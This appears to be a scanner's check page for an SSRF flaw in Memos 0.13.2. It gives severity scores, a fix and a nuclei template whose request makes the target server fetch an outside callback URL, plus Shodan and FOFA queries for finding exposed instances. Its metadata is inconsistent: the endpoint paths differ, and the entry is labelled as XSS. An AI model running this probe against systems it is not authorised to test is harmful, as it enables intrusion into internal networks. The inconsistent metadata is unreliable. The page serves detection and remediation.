Memos 0.13.2 - Server-Side Request Forgery

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

An SSRF vulnerability exists at the `/api/resource` that allows authenticated users to enumerate the internal network.

Impact

Attackers can force the server to make requests to arbitrary destinations, potentially accessing internal services or sensitive data.

Fix

Update Memos to version 0.13.3 or later.

How to confirm it

Send: GET {{BaseURL}}/o/get/resource?url=https://{{interactsh-url}}
Positive when: contains(interactsh_protocol, "dns") and contains(tolower(body), "memos") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-29030 -u <target>

The full check

id: CVE-2024-29030

info:
  name: Memos 0.13.2 - Server-Side Request Forgery
  author: ritikchaddha
  severity: medium
  description: |
    An SSRF vulnerability exists at the `/api/resource` that allows authenticated users to enumerate the internal network.
  impact: |
    Attackers can force the server to make requests to arbitrary destinations, potentially accessing internal services or sensitive data.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,xss,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/resource?url=https://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(tolower(body), "memos")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from